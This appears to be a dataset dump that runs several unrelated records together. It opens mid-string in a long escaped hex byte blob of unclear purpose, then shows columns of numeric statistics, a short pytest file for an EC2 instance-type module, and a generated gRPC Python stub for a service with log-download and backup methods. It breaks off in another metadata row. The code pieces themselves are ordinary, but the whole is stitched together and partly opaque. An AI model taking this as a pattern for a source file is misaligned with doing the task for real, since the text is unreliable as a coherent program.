5c\xb3\x83\x9a\xc4\x9f\xe1\xf9\x10\xef\x07\x28\xe5\xab\x9c\x4c\x32\xe6\xf2\x8c\xde\xb5\xa0\xec\x0b\xcb\xc4\xce\x7d\xcd\xac\xa7\x4a\xcf\xb0\x25\x9c\x00\x0d\xa9\x82\x77\xe7\x24\x46\xf8\xbe\x2b\xb8\x83\x6a\xed\xd4\x8f\xf7\xd7\xaf\x7e\xe3\xb1\x43\xd8\x32\x84\x75\xb6\x21\x62\xfd\xc5\x74\x1c\xb2\x4f\x74\x29\xeb\x81\x06\x4b\x4a\xc6\x08\x3b\x4b\xd9\xea\x0e\xda\x7a\x0f\x02\x04\x7e\xd6\xe0\x41\xaf\x16\xce\xf7\x8e\x03\xaa\xe7\xbf\x11\x3b\xa6\xad\x85\xaf\xe3\x55\x0b\x72\xdd\xbf\x0f\x18\xc9\xa3\x52\x83\xa5\x16\x50\x90\xe0\xb0\x8f\x76\xbb\x0f\x7e\x98\x46\xde\x7d\x5c\xd5\x4d\x3a\x1d\xe3\x35\x9e\x8e\x58\x00\xd4\x65\xe2\x42\xd7\x09\x45\xaa\xab\x88\x44\x8d\x8a\xa2\x10\x01\x11\x1a\x8c\xb4\x31\x49\x5b\x43\xd4\x8f\xc3\x5d\x9e\xfc\x9f\xc1\x12\x6f\x67\x10\x06\x9b\x64\x24\x1e\x17\x92\xdb\x03\x6d\xa4\xf3\xcd\x6e\x17\xae\xcb\xc0\x8e\x3c\xe0\xbe\xac\xc4\x36\x9f\xb4\xd2\xa8\xd3\xf4\x3b\x96\x3d\x37\x4a\x71\xfb\xb3\x52\x78\x22\x45\xe7\x6e\x98\xe1\x41\xe9\x64\x4d\xf8\xd3\x9d\x3d\x45\xcf\xf4\x99\xdf\x55\xe4\xeb\x8e\xb7\x6d\x8c\x8d\x12\xeb\x93\x73\x30\x40\xc2\x3b\x58\xe1\x9f\x24\x98\x0c\x77\x5c\x03\xb1\xdf\x92\xe8\xb8\xdd\xc7\x48\x28\x95\xe8\x79\xa8\x0c\x76\x85\xec\x87\x80\xc4\x32\xb1\xcb\x80\x5d\x02\x5c\x83\xe0\x31\xea\x9c\x17\x89\x0f\x6d\x18\xfc\xe6\xea\x9b\x9d\x9e\xd4\x4e\x85\x2e\xd3\x59\x86\x24\x17\xa5\xdd\xcb\x52\x15\xe7\x0b\x42\x36\xb8\xea\xcf\x6d\xe8\x5f\x37\x29\x34\x49\xe7\xb5\x29\xaf\xf8\x5e\x64\x48\x70\xfc\x27\x21\xe8\xf4\x35\x12\xd2\x7b\xf1\x2c\x27\xf1\xff\xd2\xc0\xd7\xea\xc6\xbe\x8b\xbc\xb7\x6e\x11\xdf\x6c\xef\x29\xc0\xda\x42\x5d\x9d\xfa\x85\xd7\x48\x31\xd8\x45\xcf\x3b\xb9\xcb\x8a\x58\xe7\x3b\xd4\x5f\xa8\x87\x68\x35\xa2\x27\xa0\x9e\x80\x9b\x3b\xfd\x2f\x56\x41\xb3\x0e\xdc\x71\x95\x9c\xd5\x10\x3f\xe5\x3b\x47\xd5\xad\xdb\x54\xe7\x90\x95\xa4\xdb\x9c\xbd\xa4\x06\x7c\xfd\xcb\x77\x43\xcf\xe7\xf2\xa9\xde\x5f\x95\x44\xa7\x53\x84\x22\x1a\xc9\x79\x9c\xcb\x2b\xf0\xab\xdd\x64\xed\x81\xb9\xbc\x7d\x29\xa4\xc1\x4f\x84\xe7\x37\x29\xf0\x49\x5c\xec\xae\x99\x27\x7b\xe7\xd2\x8b\xa4\xbc\x6e\x97\x08\x20\xdd\xfa\x85\x64\x11\xad\xb5\xba\xaf\x56\xae\x71\x6d\xf9\xda\x2e\x4b\x7c\x55\xbb\xd6\x83\xa0\x5d\xfd\xb2\x8e\x57\x00\xeb\x69\x2c\x9e\x93\x6a\x33\xee\x7e\xf2\xa2\x4c\x3a\x39\x6e\x23\xad\xd1\xb2\xac\xd3\x01\xcd\x21\x69\x78\xa0\xed\x2e\x92\xa6\xc6\x79\x5a\x55\x5d\x2c\xa3\xab\xdc\x70\x29\x1f\x16\x4e\x50\x83\x27\xf1\x13\x67\x92\x73\x35\xe5\xc8\x85\x69\x33\x10\x4a\xdd\x80\x91\x17\x1e\x51\xef\xfe\xde\xce\x45\xb7\x1f\x13\x6a\x3b\xc6\xee\x1b\x77\xeb\x19\x27\x50\x47\xe9\x35\x51\x46\x7d\x11\x3b\xad\xf3\x56\x6e\x52\xbb\x73\xd4\x4c\xe7\x93\x2a\x4f\x0f\x4f\xb2\x33\x8a\x70\xdf\xdb\x04\xa9\x1c\xaa\xb0\x64\x90\x8d\x83\xc0\x29\x30\x17\xcf\x34\xd1\x7a\xc2\x4e\x7e\x42\x14\x0a\x64\x0b\xa5\x9d\xeb\x3d\x87\xc7\x52\xac\x91\xbb\x85\x42\x8d\xde\xd3\xe8\x7e\xcb\x38\xd4\x29\x00\xf2\x26\x72\x8e\xcc\x88\x06\x23\xb0\x16\x44\xba\x2d\xaa\xb5\xf8\x58\x62\x24\x73\x21\xde\x47\x83\x72\x69\xf3\x74\xe9\x05\xee\x68\xfb\xbe\x08\xc8\x61\xee\xdc\x4f\x93\x2c\x79\x95\xcd\xa4\x5f\x57\xac\x98\x37\x4e\x1c\xed\x9f\x83\x8f\x7e\xe9\xaf\x20\x57\xe4\xa4\x44\x42\x78\xe8\x87\xa7\x8d\x6e\x44\x72\x4c\x0c\x89\x08\x70\xa8\x71\xa4\xe1\xf7\xee\xde\xe1\xfa\xe2\x0d\x98\x00\x73\xcc\xc4\xf3\xd9\x17\x27\xc3\x33\x71\xd1\x35\xad\x79\x31\x87\x22\x85\x94\x66\x60\x2e\x1d\x65\x90\x27\xfb\x36\xe6\x30\x57\xd5\xd9\x7b\xd7\xd6\xd4\xfe\xa3\x7d\x35\x85\xfd\x24\x5e\x6e\x52\x3b\x36\xb1\xa0\x56\xb1\xdf\x0a\x69\x55\xc3\x73\xd1\xa1\x03\x95\x5e\xf8\xb1\xb7\xae\xf2\x2d\x5c\xed\xa4\xc1\x84\xb3\x2c\xd7\x22\x17\x08\x69\xbe\x9b\x16\xab\x67\x26\xa3\xb5\xcb\xa0\x72\xf8\x4e\x9c\xed\x7a\x0e\x86\x6d\x23\xbd\x5d\xe9\x13\xf4\x8c\x40\x1d\x71\x70\xeb\x0c\x25\x4c\x29\x23\x77\xe0\xed\x1d\xab\x60\x74\xdf\x84\xe7\xf1\x76\xf0\xb9\x46\xb2\xdb\x97\xf9\x81\xc2\x5c\x16\x41\x17\x99\x4c\xb6\x42\xde\x25\xac\x37\x85\xce\xd0\x49\xfa\xdb\xdb\x7d\xd9\x79\x97\xed\x9b\x38\x81\x71\x9a\xb9\xb8\x5f\xb5\x0c\xf1\x41\x31\xb5\x8a\xb1\x5a\x84\xb9\xc2\x43\xc0\x21\xcc\x7d\x37\x32\xf6\x43\x59\x68\x76\x00\x23\x37\x97\x19\xa0\x12\x30\xb6\x17\x76\x26\xa1\xf2\x8f\x5a\x33\xbb\xe5\x43\x02\x80\xbc\x55\x63\xb9\x5e\xbd\xc8\xc9\x24\xf7\xc7\x45\x0c\x55\x2d\x76\xf6\x7b\xe9\x97\xa8\x21\x4f\x1f\x1e\xe4\x02\x24\x32\x5a\xa8\x7c\xca\xdf\xac\x60\x9b\xbb\x48\xb3\x21\xa7\x34\xc1\x0d\x83\xcc\x5c\x39\x77\xcb\x46\xa1\x27\x25\x51\x3c\xff\x42\xb1\x78\xd5\x28\x11\x48\xe0\x63\xbb\xe5\x41\x20\xa6\x83\x85\x54\x58\xea\x04\x7d\xaa\x5e\x64\xb2\xa8\x8f\x4d\x9d\x94\xc2\xa1\x88\xe0\x41\xc9\x44\xd4\xe1\x6c\xb6\x03\xd0\x67\x04\xc3\xa8\xac\xfd\x87\xc9\x84\x17\xf7\x70\x2a\x20\x8a\x44\x36\x55\x63\x36\x25\x72\x50\x2a\x7d\x47\x09\x84\x5d\xa6\x42\xf4\x0e\x85\x09\x78\x82\x53\x48\x01\x4f\x86\x62\x2e\xeb\xdb\x96\x4c\x95\xfb\xb0\x78\x33\x9e\xef\x60\x30\x6d\x9f\xfb\x59\x39\x1b\x98\x65\x78\x63\xad\x9c\x80\xc9\xfe\xab\xc1\x9a\xe0\x5d\x1d\x2b\x7f\x28\x60\xdf\x89\x12\x2a\x69\x91\x09\x09\x0d\xd7\xce\x13\x59\x02\xb3\x9f\xef\x69\xa8\x01\xd9\x73\x3b\xdb\xdc\x9d\xcf\x1f\x61\x33\x5c\x0a\x33\x12\xac\x4e\xf7\x3f\x5a\xa1\xde\xb1\xe7\x74\x4c\xcd\xd9\x23\x8b\x3e\xb5\xe3\x04\x86\xd7\x44\x45\x48\x56\xc7\x16\x27\x8c\x3a\xfe\x8d\xb1\x5b\x43\x04\x7f\xec\x5f\xa4\x01\xa5\xcd\xfe\x9a\x30\x80\x08\x2f\x02\x18\x95\xc3\x83\xc0\x80\x86\x9c\x38\xa4\xcd\xf8\xa5\x2c\x95\x32\x69\x09\x9f\xf4\x08\xce\x40\x46\xff\xa7\xc2\x83\xac\x33\x7e\x94\x99\x3e\x78\xb4\x9b\x51\xf7\xda\x23\xea\x22\x17\x69\x1c\xe2\x5a\x9e\xd7\x4b\x46\x30\x05\xe8\xed\x8c\x25\x83\xda\xbc\xd8\xd0\x54\x99\xe1\xfa\x13\x00\x76\x0a\x07\x02\x76\x08\x32\xfa\xd7\x7f\xbe\x6f\x1e\x3a\xac\x06\x28\x82\xd3\xa2\x0b\x82\x84\x0c\xe0\xd1\xc2\x19\xfb\xfd\x8c\x74\x34\x51\xc6\x32\x27\xf9\x0f\xa5\x98\x59\x62\xe7\xb9\xff\xa0\x91\xf9\x0d\x4e\x56\xf0\x44\xdd\x98\x6d\xbe\x42\x37\xe9\x57\x53\x8a\x48\xa4\xa1\x6c\x29\xc7\xa6\x8f\x22\xfc\xed\x2f\xec\x33\x26\x25\xf0\x48\x74\x4c\x96\x98\xee\x41\xd7\x90\x08\xd1\x53\x1a\xb6\xed\xe4\x72\xe7\x5d\x02\x1e\x93\x83\xb3\x95\xf2\x76\xb5\x4c\xf9\xb9\x36\xad\x57\x26\xf2\x60\xd8\x00\xbf\x10\xc8\xb5\xbc\x64\x5b\x99\x96\x5d\x0c\xe4\xc5\xf3\xa3\x65\x42\xdf\x6c\x8f\xda\x46\x13\x63\xdd\x0f\x2e\x9e\xd2\x19\x39\xb4\x51\x2c\x82\xa0\x6f\x66\xac\xd6\xb6\x14\x4a\x7f\xc4\x75\xcb\x35\x77\x26\x60\xf7\xdc\x05\x02\x12\xe6\x9f\x46\x13\x26\x84\x37\x21\x0c\xfd\x23\xf0\x4c\x5d\xbd\xc2\xbf\xbf\x4f\xba\x7a\xb1\xe5\x13\x2b\x9d\x66\xea\xc3\xe7\x3f\xec\xdf\x44\x9d\xd8\xbb\x12\x30\x0a\x77\x92\x8a\xd1\x43\x8a\x2f\xdc\x3b\x34\xf1\x5f\xa4\x63\x13\x18\x2c\xb1\xfb\x77\x2a\x53\x9d\x93\x89\xf2\xae\x44\xb7\xe4\x15\xf1\x6f\xc8\x8a\x12\xb7\x0a\x40\xab\x4e\xb7\xaa\x77\xbd\xf7\xe0\x13\xbc\x60\xa8\x4c\x8b\x93\x91\xb3\x59\xa8\xff\x3c\xe7\x50\x14\x12\x25\xba\x08\xfe\x00\x94\x92\x1a\x5f\x62\x78\x50\xe0\x45\x14\x61\xde\x4e\x46\xe3\x36\x08\x65\xb4\x19\x52\x90\x41\x9b\x40\x7a\x89\xa0\x81\xca\x85\xd7\x91\x95\xcb\xcc\x0b\xd7\xdf\xcc\x06\x67\x7b\xae\xa2\x6a\x8f\x66\x50\x6e\xbf\x2d\x35\x95\xe1\xf6\xa4\x05\x84\xc5\x93\xd3\x0b\xc7\x57\xae\xcc\x83\x74\x59\xdf\x13\x7e\x20\x65\x64\x0e\x8e\xf5\x68\x99\x8e\x4a\x9c\x9c\xc6\x3f\xa9\x6d\x83\x67\xbf\x67\x96\x6b\x3f\x31\x4c\x37\xf5\x25\xc4\xba\x61\x1e\x26\x8e\xba\xdc\x2b\xe1\x11\xd4\x12\x17\x34\x25\xca\xb8\x2e\x38\x0a\xbe\x95\x65\xfd\x93\xf9\x7b\xc7\x51\xef\x5e\xbf\xd2\x94\x34\xbc\x25\x94\x9d\x7c\x53\xde\x3e\x84\x90\xa2\xce\x01\xe0\xdc\x5a\x95\xab\xae\x20\xf0\x7d\x04\x25\x7f\x62\xeb\x0a\x2c\xf1\x27\xe1\xb7\x78\xe4\x5b\xa0\x78\x56\x87\x86\x3e\xb7\x70\xca\x27\xa0\xdb\x65\x41\x47\xa6\x2e\x3d\x9d\xfc\x66\xc2\xec\xf2\x50\x6d\x9d\x6a\x0d\x92\x59\x5a\xf6\xae\xa4\x52\x85\x7e\xb2\x1d\xf4\x39\xf4\xdb\x1a\x00\x01\xc5\x0e\x0a\xd2\xe6\x4d\xf6\x6d\x6d\x60\x9b\xc8\x17\xe4\x76\xc6\xd2\xd2\x2a\xa4\xf0\x1f\x12\x19\xc4\xe3\xe9\x44\x9b\x47\x21\x13\xa7\xbb\x93\xf4\x52\x95\x3a\x94\xb7\x96\xb1\x4d\x37\xfd\x7d\xd9\x4d\xfb\xdf\xd6\x05\x07\x71\xa1\xe0\xe0\x25\xb9\x6a\xea\xb6\x5a\x83\xe7\xe5\x60\x0e\x81\x4d\x12\xa3\x48\x67\xb3\x96\xb5\x6c\x15\xce\xd4\xb5\xd1\x2c\xe2\x0a\xa4\xcb\xd8\x58\xd9\xc9\xe9\xc7\xb6\x9e\x35\xe7\xd1\x18\x88\x75\x92\xd5\x2a\xb2\x1a\x42\x7b\x97\x80\x94\xce\xf3\xce\xbd\x90\xbd\x0e\x9c\xeb\x6c\x95\xec\x33\x33\xec\xce\x3e\x43\x62\xd3\xb4\xe0\x5e\x6e\x19\x6f\x26\x14\x79\x85\x94\xc3\x35\x67\xd3\x9a\x53\x07\xd4\x1c\x39\x9b\x59\x8c\x03\x14\xb2\xeb\x8c\x5d\x43\xac\x48\xc3\x07\x76\x8f\x36\x35\x42\xa2\x99\xb6\x0a\x88\x8f\xb9\x82\x6d\x79\x25\xc3\x85\x40\xe9\x87\x70\x2a\xdb\x8d\x58\x28\xe6\xfc\x47\x0b\xca\x21\xc9\x9e\xa7\x67\xa8\x29\x48\x3e\xd8\xd9\xe1\xf4\xbf\x61\xc0\xad\xf0\x9a\xe4\xdb\x28\xfd\x37\xe7\x4f\xf1\x4b\x7e\xdf\x50\x77\x7b\x88\x4f\xc3\x06\x1f\xae\xb8\x57\x99\x7a\xda\xc7\x9b\x00\xc8\xe0\x33\x82\x33\x44\x20\x59\xc7\x03\x95\xc7\x86\x96\xfa\x7d\x35\xeb\xe4\xf6\xa8\x7d\x59\x59\x88\x34\xca\x4d\x5a\x50\x49\xb5\x5b\xc5\x28\x99\x99\x18\x68\x99\xa5\x1a\x9c\xe0\x92\xff\xdc\xd0\x00\x88\x67\x13\x24\xf8\xcb\xcb\x4b\xa5\x1d\xc7\xb5\x9d\x9d\xbc\x83\x81\x32\xf6\x75\xde\x2b\xd9\xbc\x6d\x05\xd0\x6d\x21\xde\xd9\x87\x5c\x7d\xb0\x5f\x24\x03\xfd\xb4\x4b\xd3\x89\x6b\x41\x5e\x8b\xc4\xe1\xe5\x0b\xee\xe0\xef\xc8\x7d\x8f\x86\x8a\xa5\x9b\x13\x8b\x76\x83\xdf\x89\xd9\xe1\x4a\x2d\x44\xe2\x2c\x44\x63\x6c\x45\x8a\x37\xc1\x46\x14\x8b\x1e\x11\xad\x8b\x49\xb1\x1d\xf7\x55\x78\x45\xce\x6d\x89\x2f\xf1\x54\xcc\x96\xe4\x64\xd3\x92\xd5\x44\xc5\xc8\x2f\xf4\xf9\x23\xb8\x2f\x72\x93\xc6\x3b\x6d\x72\x3e\xfa\x74\x9d\x3b\x2d\x5c\x0b\x48\xa8\x25\x7e\x36\xd7\xd6\x51\x3c\x30\xa6\x19\xd3\xed\x10\x17\xc3\xd3\x0a\x82\x75\x63\x27\x73\x84\xed\x0b\x77\x94\xd3\x37\x38\xe4\xb6\x9f\x60\x5d\x28\x18\xf0\xda\xd1\x50\x18\x50\xd2\x9e\x8c\x0d\xb3\x8b\x1c\x31\xf5\x7f\x76\xc3\x69\x15\xc7\x91\x16\xf3\x34\xff\xcd\xd7\x2e\x91\xab\xb9\xa4\x07\x47\xad\xa7\x05\x7d\x92\x50\x0d\xb3\x36\x2f\x9e\xfa\xe8\x9c\xa1\x63\xdf\xb5\xf0\xcf\x99\xe1\xc0\x6e\x67\x37\x91\x4d\x2d\x77\xf4\xb2\x21\x19\x82\xff\xec\x56\xa2\xf3\x66\x02\xd8\xa7\x4a\x19\xdb\xf6\xdd\xc9\x56\x95\x1f\xdc\x3f\xd6\xeb\xfc\x87\xd4\x79\x8f\xd5\xbb\x16\x65\x8e\x3f\xa1\x6c\x13\x3c\x0e\xd1\x41\xf9\xbd\x3c\xc1\xec\x21\x6c\x0c\x40\x80\x20\x86\x3f\xa4\x51\x3b\xa0\x2b\x9f\xfe\x3a\xc5\x22\x53\x0d\x82\x2c\xb2\x69\xce\x09\xf4\x3a\x49\x18\x14\xae\x69\x0d\xbd\x14\x5e\x20\xcf\xf1\x7d\xa6\xf5\x9a\x9e\xaf\x80\xf3\xe5\xac\xbc\x80\xf2\x21\x9f\x0e\xbb\x4e\xc8\x4c\x21\xe2\x20\xd5\xf5\xbc\xe6\x91\x37\xb8\xc9\xd4\x44\x2c\xb5\xbd\xa1\xed\x69\x91\x79\xd0\x23\x7d\x2a\x60\x7d\xae\xeb\x7b\x3d\x04\x28\x72\x4a\xf2\xe3\xcf\x31\x4a\x5e\xaf\x75\x39\xfb\x1f\xf7\xd3\x8d\xdf\xfb\xa3\x71\x0d\x85\x99\x41\xab\x34\xd9\x46\x6f\x65\x48\xf1\xf8\x9e\x4d\xae\x35\xbd\x96\xf9\xd4\x07\xce\x4e\x51\x1a\x32\x3d\x9e\xb2\x57\xea\x92\x70\x24\x17\x11\x2a\xf5\x7f\x29\xcb\x10\x55\xe9\xca\x81\xa8\x1a\x70\x63\x6e\x45\x62\x21\x21\x25\x9f\x70\xa7\xda\x47\xb6\x52\xb3\xf7\xbc\x5f\x80\xb4\x05\x7f\xde\xb4\xfc\x74\xba\xa2\x78\x4e\xa2\x1b\x52\xdf\x9b\xc6\x4f\xc0\xfd\xf5\x23\x4e\x7a\x56\x36\x4b\x38\xc5\xba\x8b\x41\x3b\x96\x16\xbe\x24\x0b\x77\x4a\x90\x13\xc4\x46\x57\x1b\xa2\xc7\x26\x47\x9c\xfa\xd0\x1b\x8e\x22\x07\x0c\xf0\x7c\x07\xff\xca\xa0\x92\x0f\x65\xd4\x61\x22\xa9\xa0\xfc\xf1\xa1\x39\xd5\xb4\xd1\x40\x11\x32\xfa\xe7\x33\xd8\xe5\x89\x49\xb8\xcc\x80\xe0\xb0\x88\xe6\x06\x02\xa2\xd2\xf2\xc9\x75\xfe\x7a\xfd\x8d\x74\x01\x11\x18\xe6\x8a\xb9\x2a\xbb\xf2\x10\x63\x01\x2c\x8c\x18\xb3\x17\xc2\xeb\xf1\xf0\x96\xad\x4c\x6a\x4b\xf9\xbc\x0a\x77\x9d\x78\x56\xed\x34\x03\x12\xd4\x05\x7f\x04\x17\x9a\xa2\xa9\x21\x03\xdb\x6c\xef\xfb\xb9\xd6\x80\x44\x8c\xd8\xbb\xaf\x14\xea\x55\xe4\xf8\x67\x71\x5a\x10\xed\x63\x0a\x8e\x5f\x2c\x12\x3f\x7d\xd5\x7f\x0b\x85\x72\x9c\x19\xc0\x6f\x31\x5f\x04\x9e\x32\xb5\xef\x6d\x33\xe8\xa8\x7f\xd9\x99\x18\x6b\xde\x6c\xc4\xde\x20\xd7\xdd\x39\x5b\x4d\xdb\xfb\x42\x4b\xec\xe0\x41\x4c\x39\xa4\x73\xb1\x4e\x78\xc8\x49\x8c\x2b\x5a\x78\x52\xc2\x45\xae\xca\xeb\x32\x48\x90\x11\xe5\xad\x75\x17\xf9\x70\x67\x45\x8b\x6a\x2a\xa4\x34\x62\xa2\x94\x23\x5b\x80\xbb\x3a\x60\xd3\x9a\x2e\x39\xdc\x52\xa2\xcd\xa1\xf0\x64\xcb\xb0\xe9\x15\xa9\x08\xae\xb1\xc0\x68\xd3\x87\x8f\xda\x93\x32\xe4\x8b\x21\x26\xbb\xe8\x9e\xf8\xf9\x3c\x0f\xfc\x47\x73\x6d\x2f\x40\x35\x92\xa6\x26\x63\x83\x20\xd5\x14\x23\xcf\x59\x1c\x53\x99\x83\x18\x3a\x77\x30\x19\xc4\x85\x3f\x19\x99\x0b\xe0\x6c\x23\x49\x30\x41\x47\xb1\x6d\x86\x1e\x84\x1e\x98\x67\xc0\xee\xc0\xf4\x83\x6b\xe0\x1b\xda\x52\xb4\x8b\xfd\xb3\x69\x67\x17\x4e\x2c\x71\x3a\xe9\x84\x86\xef\xed\x57\xb3\x6d\xdc\xf8\x79\xe3\xf6\x67\xe3\x05\x5f\xfc\x22\x76\xc6\x58\xba\x62\xe7\x26\xc4\xa7\x65\xa7\x59\xe3\x29\xf5\xe4\xeb\x5f\x80\xb8\x7b\x59\x81\x86\x2f', 2)
62,519
62,519
0.749996
15,625
62,519
3.000128
0.016704
0.002432
0.002496
0.002048
0.000832
0.000512
0.000512
0
0
0
0
0.312544
0.000048
62,519
1
62,519
62,519
0.437296
0
0
0
0
1
0.99936
0.99936
0
1
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
1
1
1
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
0
0
0
0
0
10
50164a618963caf0d07c24ef48ce58adc678e18c
355
py
Python
tests/internal/instance_type/test_instance_type_m5n_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
tests/internal/instance_type/test_instance_type_m5n_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
tests/internal/instance_type/test_instance_type_m5n_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
1
2021-12-15T11:58:22.000Z
2021-12-15T11:58:22.000Z
# Testing module instance_type.m5n import pytest import ec2_compare.internal.instance_type.m5n def test_get_internal_data_instance_type_m5n_get_instances_list(): assert len(ec2_compare.internal.instance_type.m5n.get_instances_list()) > 0 def test_get_internal_data_instance_type_m5n_get(): assert len(ec2_compare.internal.instance_type.m5n.get) > 0
35.5
77
0.850704
56
355
4.946429
0.339286
0.259928
0.32491
0.259928
0.826715
0.826715
0.613718
0.613718
0.613718
0
0
0.033435
0.073239
355
9
78
39.444444
0.808511
0.090141
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
10
5016def45a8f847faf56f8d1f0804b8d76a09162
7,442
py
Python
lang/python/github/com/metaprov/modelaapi/services/system/v1/system_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
5
2022-02-18T03:40:10.000Z
2022-03-01T16:11:24.000Z
lang/python/github/com/metaprov/modelaapi/services/system/v1/system_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
1
2022-01-07T19:59:25.000Z
2022-02-04T01:21:14.000Z
lang/python/github/com/metaprov/modelaapi/services/system/v1/system_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
1
2022-03-25T10:21:43.000Z
2022-03-25T10:21:43.000Z
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! """Client and server classes corresponding to protobuf-defined services.""" import grpc from github.com.metaprov.modelaapi.services.system.v1 import system_pb2 as github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2 class SystemServiceStub(object): """Missing associated documentation comment in .proto file.""" def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.DownloadLogfile = channel.unary_unary( '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/DownloadLogfile', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileResponse.FromString, ) self.BackupDatabase = channel.unary_unary( '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/BackupDatabase', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseResponse.FromString, ) self.BackupEtcd = channel.unary_unary( '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/BackupEtcd', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdResponse.FromString, ) class SystemServiceServicer(object): """Missing associated documentation comment in .proto file.""" def DownloadLogfile(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def BackupDatabase(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def BackupEtcd(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_SystemServiceServicer_to_server(servicer, server): rpc_method_handlers = { 'DownloadLogfile': grpc.unary_unary_rpc_method_handler( servicer.DownloadLogfile, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileResponse.SerializeToString, ), 'BackupDatabase': grpc.unary_unary_rpc_method_handler( servicer.BackupDatabase, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseResponse.SerializeToString, ), 'BackupEtcd': grpc.unary_unary_rpc_method_handler( servicer.BackupEtcd, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdResponse.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'github.com.metaprov.modelaapi.services.servingsite.v1.SystemService', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,)) # This class is part of an EXPERIMENTAL API. class SystemService(object): """Missing associated documentation comment in .proto file.""" @staticmethod def DownloadLogfile(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/DownloadLogfile', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.DownloadLogFileResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def BackupDatabase(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/BackupDatabase', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupDatabaseResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def BackupEtcd(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.servingsite.v1.SystemService/BackupEtcd', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_system_dot_v1_dot_system__pb2.BackupEtcdResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
55.954887
171
0.742139
793
7,442
6.480454
0.132409
0.06655
0.044367
0.055458
0.855419
0.848803
0.848803
0.82662
0.804437
0.767075
0
0.007844
0.19484
7,442
132
172
56.378788
0.8498
0.076861
0
0.470588
1
0
0.108188
0.08217
0
0
0
0
0
1
0.078431
false
0
